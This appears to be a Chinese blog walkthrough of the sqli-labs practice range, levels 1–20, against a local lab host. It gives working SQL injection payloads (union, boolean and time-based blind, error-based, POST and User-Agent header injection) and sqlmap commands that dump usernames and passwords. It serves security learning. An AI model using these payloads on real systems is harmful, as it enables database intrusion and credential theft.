sql_labs通关，手动加sqlmap

已于 2023-02-26 19:13:59 修改
阅读量736 收藏 12
点赞数 5
分类专栏： 网络安全挑战：靶场的奇妙冒险，一步一坑，一步一惊喜 文章标签： sql 数据库 mysql
于 2023-02-23 16:10:23 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_47289634/article/details/129160313
版权

文章目录

一、需要知道的内容

信息收集：
数据库版本:version()数据库名字:database() 数据库用户:user() 系统:@@version_compile_os
MySQL5.0以上版本自带一个information_schema数据库，储存所有的数据库名表名列名
数据库中 . (点)代表下一级 student.users 代表student数据库中的users表

二、关于sqlmap使用

看我另外一篇，点击下方蓝色字体

sqlmap详细使用方法

第1关

id=1,id=2返回类内容不同，输入的内容是带入到数据库里面查询了。

http://192.168.220.129/sql/sql/Less-1/?id=1

在这里插入图片描述
判断类型：这里我把源代码输出了，可以看到是单引号闭合
Order by 判断字段,4的时候报错，说明有3个字段

http://192.168.220.129/sql/sql/Less-1/?id=1' order by 4 --+

在这里插入图片描述

查看回显点

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,3  --+

在这里插入图片描述
拿到据库名security，用户root

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,database(),user()  --+

在这里插入图片描述
分步拿数据：数据库名—>对应表名—>对应列名—>需要的数据

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  --+  
# 这里拿到数据库里的所有表名

在这里插入图片描述

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  --+  
# 拿到users表下面的所有字段名

在这里插入图片描述

http://192.168.220.129/sql/sql/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users  --+  
# 拿到需要的数据

sqlmap：我这里使用kali自带的，win要加python

# 爆出当前数据库名字
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' --current-db 
# 爆出所有表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security --tables
# 爆出所有字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users --columns
# 列出字段内容，拿数据
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users -C "id,username,password" --dump

最后放个成品图
在这里插入图片描述

第2关

比第一关还简单，没有任何闭合，这里直接上原码，流程跟第一关一样
判断回显点：

http://192.168.220.129/sql/sql/Less-2/?id=-1 union select 1,2,3

在这里插入图片描述
懒得截图，直接sqlmap
手动代码：

?id=-1 union select 1,2,3  --+
?id=-1  union select 1,database(),user()  --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users


# 爆出当前数据库名字
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' --current-db 
# 爆出所有表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security --tables
# 爆出所有字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users --columns
# 列出字段内容，拿数据
sqlmap -u 'http://192.168.220.129/sql/sql/Less-1/?id=1' -D security -T users -C "id,username,password" --dump

第3关

看源码是单引号加括号进行闭合
在这里插入图片描述
进行闭合，注释后面括号即可

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

sqlmap使用不变

第4关

分析原码，闭合从单引号变成双引号罢了，过程不变，跟第三关一样
在这里插入图片描述

第5关

看源码单引号闭合，order by 测试出三个字段

http://192.168.220.129/sql/sql/Less-5/?id=2 ' order by 4--+

在这里插入图片描述
联合查询发现没有回显点

http://192.168.220.129/sql/sql/Less-5/?id=-2 ' union select 1,2,3 --+

在这里插入图片描述
没有回显点，联合注入就没用了，因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数，首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

这里通过lenght()函数判断数据库名字的长度，=9时报错，所以是8位（security）

http://192.168.220.129/sql/sql/Less-5/?id=1' and length((select database()))=8--+

在这里插入图片描述
写不下去了，复制人家的吧

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号，主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串，b是截取的位置，c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗，这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

————————————————
版权声明：本文为CSDN博主「糊涂是福yyyy」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/dreamthe/article/details/123795302

这东西手工累嗝屁吧，我选择sqlmap

# sqlmap进行布尔盲注，爆出数据库名
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --technique B --current-db --threads 10

看，一下子就爆出8位跟名字了
在这里插入图片描述

爆表
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" -D security --tables --threads 10  
报数据
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --threads 10 -D security -T users --columns 
爆字段
sqlmap -u "http://192.168.220.129/sql/sql/Less-5/?id=1" --threads 10 -D security -T users -C "id,username,password" --dump

完美跑出来
在这里插入图片描述

第6关

看源码，跟上关一个样，闭合换成了双引号罢了
在这里插入图片描述

第7关

这不看原码，不用工具谁猜的出来，单引号加俩双引号，同上关
在这里插入图片描述

第8关

第八关和第五关一样就不多说了。只不过第八关没有报错信息，但是有you are in…进行参照。id参数是一个单引号字符串。

第9关

不管输入的正确的还是错误的页面都没变化，布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入，时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的，那么执行sleep(10)页面延迟10秒，如果a的结果是假，执行1，页面不延迟。通过页面时间来判断出id参数是单引号字符串。

http://192.168.220.129/sql/sql/Less-9/?id=2' and 1=1--+

在这里插入图片描述

http://192.168.220.129/sql/sql/Less-9/?id=2' and 1=2--+

在这里插入图片描述
直接复制

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

sqlmap：还是这个好用
使用时间盲注爆出数据库名，10线程，指定数据库为mysql，延迟为3秒，级别3

sqlmap -u "http://192.168.220.129/sql/sql/Less-9/?id=2" --threads 10  -dbms mysql --time-sec 3 --current-db -level 3

爆出之后正常操作，这是最后的结果，完美
在这里插入图片描述

第10关

跟第九关一样，单引号变成了双引号
在这里插入图片描述

第11关

post注入，输入1,1，bp抓包可以看到
在这里插入图片描述
在这里插入图片描述

uname=1&passwd=1&submit=Submit

可知注入点在uname=1&passwd=1
这里我把原码输出了，字符型，单引号闭合
在这里插入图片描述
跟前面一样，order by猜字段，3报错，有2个，union查询

uname=1’ order by 3#&passwd=1&submit=
回显点
uname=1’ union select 1,2#&passwd=1&submit=Submit
爆表
uname=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
爆列
uname=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#&passwd=1&submit=Submit
爆字段
uname=1’ union select 1,group_concat(username,password) from users#&passwd=1&submit=Submit

sqlmap：

爆数据库名
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" --current-db
爆表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security --tables
爆字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security -T users --columns
爆内容
sqlmap -u 'http://192.168.220.129/sql/sql/Less-11/' --data="uname=1&passwd=1&submit=Submit" -threads 10 -D security -T users -C "password,username" --dump

第12关

看源码，单引号变成了双引号加括号
在这里插入图片描述

第13关

看源码，闭合为单引号加括号
在这里插入图片描述

第14关

闭合为双引号
在这里插入图片描述

第15关

没有回显点了，但是输入正确的用户名和密码跟错误的，返回页面不一样，可以盲注
在这里插入图片描述在这里插入图片描述
sqlmap盲注：这里我用的时间盲注，bp抓到的数据包保存到kali桌面

爆数据库名
sqlmap -r /root/桌面/15.txt  --time-sec 3 --current-db
爆表
sqlmap -r /root/桌面/15.txt   -D security --tables

时间很久，等吧，但是可以爆出来

第16关

跟上关一样，闭合变成双引号了，继续盲注，还是时间盲注就好了
在这里插入图片描述

第17关

分析原码，updata更新，盲注和联合都不可以了，可以使用报错注入
这关对用户名进行修改，要先知道正确的用户名，用户名输错网页会报错，注入点在passwd

先用sqlmap：

爆数据库名
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" --current-db --threads 8 --technique E
爆表
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security -T --tables --threads 8 --technique E
爆字段
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security  -T users --columns --threads 8 --technique E
爆内容
sqlmap -u 'http://192.168.220.129/sql/sql/Less-17/?id=1' --data "uname=admin&passwd=admin&submit=Submit" -D security  -T users -C "password,username" --dump --threads 8 --technique E

手动，三种报错extractvalue()报错注入，updatexml()报错注入和group by()报错注入
参考人家吧点我，点我，点我


1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库
 
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 
 爆字段名
 
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#

第18关

与上关不同，账号跟密码都被实例化了，这关必须先登录进去，登录进去之后可以看到浏览器UA和ip地址
在这里插入图片描述
在UA后面加个单引号，发现报错了所以这关肯定是在UA处搞事情，分析原码
在这里插入图片描述

在这里插入图片描述

注意该插入语句需要三个参数，所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。

要考虑value的闭合问题，假如我们利用的点是$uagent，那构建格式就应该是1’,1,1)#

爆库名
User-Agent: ',extractvalue(1,concat(0x23,database(),0x23,version(),0x23,user())),1)#
爆表名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#
爆列名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#
爆数据
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#

第19关

输入正确的账户密码我们的referer字段内容会显示在页面上。在这里插入图片描述抓包，referer后面加个单引号，会报错，跟上面一样的操作

第20关

输入正确页面时候cookie字段显示在页面上

总结

青衫木马牛
关注
  • 5
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
sql-labs通关技巧
03-01
在SQL注入领域，`sql-labs` 是一个常用的练习平台，帮助学习者掌握SQL注入技巧。本篇将详细解析如何通过SQL注入攻击不同类型的靶场，以及如何利用自动化工具`sqlmap`进行辅助。 首先，我们需要识别注入点。在`less1...
SQL-labs/less1通关教程
02-29
参考了部分大佬的作品 原作链接：https://blog.csdn.net/qq_50808416/article/details/130623497
Sqli-labs全通关教程（手工注入+工具使用sqlmap）
热门推荐
qq_57223070的博客
02-24 1万+
希望能帮到你，sqlmap使用及SQL注入手工
sqlmap使用_sqlmap于sql labs下使用
weixin_39526415的博客
11-26 727
本文主要是写sqlmap在sql labs下的使用学习记录，目的在于模拟黑盒测试，不太在意原理。（当然，原理还是要学习好才这么干的。）不得不说收获还是蛮大的。首先推荐下sqlmap使用的学习视频。1-9：python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-1/?id=1 --batch10：单独的sleep(5)不起效果，[http://127.0...
2024年网络安全-sqlmap实战之sqlilabs-Less5_sqlmap打less5，网络安全基础学习教程
最新发布
2401_84253089的博客
05-06 833
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！内容实在太多，不一一截图了。
（手工+sqlmap）【sqli-labs1-20】基础注入
07-10 1216
【SQL】sqlmap+手工
sqlmap的使用之sql-lab
weixin_43803070的博客
05-08 2274
splmap的五种独特的sql注入技术： 基于布尔类型的盲注 基于时间的盲注 基于报错的盲注 联合查询注入 堆查询注入 在进行注入之前要说明两点： 第一我们在进行注入的时候需要把url中的127.0.0.1改为本机的ip 第二在注入的时候一定要带上参数。 接下来我们对sql-lab进行sqlmap使用： 0x01 Less-1 一、sqlmap.py -u http://192...
【史上最全sqlmap通关sqli-labs靶场教程】
DMXA的博客
10-15 2923
【史上最全sqlmap通关sqli-labs靶场教程】
SQLMAP脚本-sql-labs-Less-30-34
m0_69844818的博客
01-04 424
和上一关一样先使用上一关的脚本跑一下发现跑不出来了,看一下后端代码按道理只是把单引号换成了双引号,sqlmap应该是会尝试双引号注入但我怎么跑都跑步出来,尝试在脚本里面手动替换双引号。
labsql.rar_LabVIEW SQL_SQL labview_labs_labview LabSQL_labview
07-14
labview中使用SQL数据库的演示，已经通过测试
FreeRTOS_Labs_v.202009.00
10-11
官网下载的，官网速度可能慢一些...FreeRTOS_Labs_v.202009.00 FreeRTOS Labs Contains source code and example projects for the FreeRTOS Labs projects. The most up to date source code is available on Github.
Upload-labs通关手册.pdf
08-06
Upload-labs通关手册
对sqli-labs靶场使用sqlmap自动化注入
星虐
03-15 1225
1.检测存在注入 命令：sqlmap -u ‘http://192.168.1.17/sqli-labs/Less-1/?id=1’ 2.爆出所有数据库名称 命令：sqlmap -u ‘http://192.168.1.17/sqli-labs/Less-1/?id=1’ --dbs 3.爆出security库中的所有表 命令：sqlmap -u ‘http://192.168.1.17/sqli-labs/Less-1/?id=1’ -D security --tables 4.爆出users表中的
sqlmap学习(sqli-labs为示例)
quan9i的博客
02-17 4227
文章目录前言sql-map部分指令- -is-dba- -current-D，-T，-C- -dump-v--batchget类型检测可注入类型获取数据库获取表获取列名获取字段信息post类型准备工作检测可注入类型破解数据库方法一方法二破解数据表方法一方法二获取列名方法一方法二获取字段信息方法一方法二 前言 由于python学的啥也不是，脚本写的也很不咋滴（不会写），因此来学习sqlmap的使用，本人只是小白，如果出现错误还请各位师傅多多指正。 sql-map部分指令 - -is-dba --is-dba判
048 SQL注入实验——sqli-labs-master，sqlmap自动化
鸡蛋炒鸡蛋
03-03 1528
文章目录一：sqli-labs-master的部署二：sqli注入通关2.1：笔记篇2.2：实操过程less-01less-02less-03less-04less-05less-06less-07less-08less-09三：sqlmap自动化注入 一：sqli-labs-master的部署 这里给到大家一个下载地址： sqli-labs-master (访问密码：zUw77A) 下载之后解压之后得到一个文件 把该文件夹放到已经安装好的phpstudy/www文件目录下 如何安装phpstudy，请参
salmap通关sql-labs学习笔记
qq_43641876的博客
11-19 578
sql注入学习笔记输出1
Sqlmap在sqli-lab上的一些使用
weixin_43570155的博客
08-19 1227
目录 1.get使用方法： 2.post使用方法： 3.header注入使用方法： 4.指定注入的位置: 5.盲注使用不接收http body： 6.设置多线程（可以设置的最大数量为10，默认为1）： 7.预测输出： 8.持久连接： 9.指定数据库的探测 10.sqlmap脚本绕过（详细的脚本解释） 11.强制设置无效值替换： 12.自定义载荷(payload)位置 13.sqlmay设置tamper脚本： 14.sqlmap设置具体的注入技术： 15.查看当前用户以及是否是dba用户 16.枚举dbms的
sqlmap基础（sql-lib过关）
rnn0921的博客
08-01 544
从十一关开始，注入位置会发生变化，之前都是从GET的URL部分注入的，现在这里是从POST请求中的Payload进行注入的，因此我们的命令也相应发生了变化，需要使用--data来定义payload的内容。id2=hashlib.md5(id).hexdigest()"）--drop-set-cookie 扔掉response中的set-cookie头。--keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容)--predict-output 预测输出（与--threads不兼容）
【SQL注入】sqli-labs手注+sqlmap
m0_63563528的博客
07-19 2084
第一周：SQL注入学习
sqli_labs安装
04-13
sqli_labs是一个用于学习和实践SQL注入的实验环境。下面是sqli_labs的安装步骤： 1. 首先，你需要在你的机器上安装一个Web服务器，比如Apache或Nginx，并确保它正常运行。 2. 下载sqli_labs的源代码。你可以在GitHub上找到sqli_labs的仓库，并将其克隆到你的本地机器上。 3. 将sqli_labs的源代码放置在你的Web服务器的根目录下，确保它可以通过浏览器访问。 4. 创建一个MySQL数据库，并导入sqli_labs提供的SQL脚本。这个脚本将创建所需的数据库表和示例数据。 5. 修改sqli_labs的配置文件，以便它可以连接到你的MySQL数据库。你需要提供数据库的主机名、用户名、密码和数据库名称等信息。 6. 保存并关闭配置文件后，重新启动你的Web服务器。 现在，你应该可以通过浏览器访问sqli_labs，并开始学习和实践SQL注入了。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青衫木马牛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值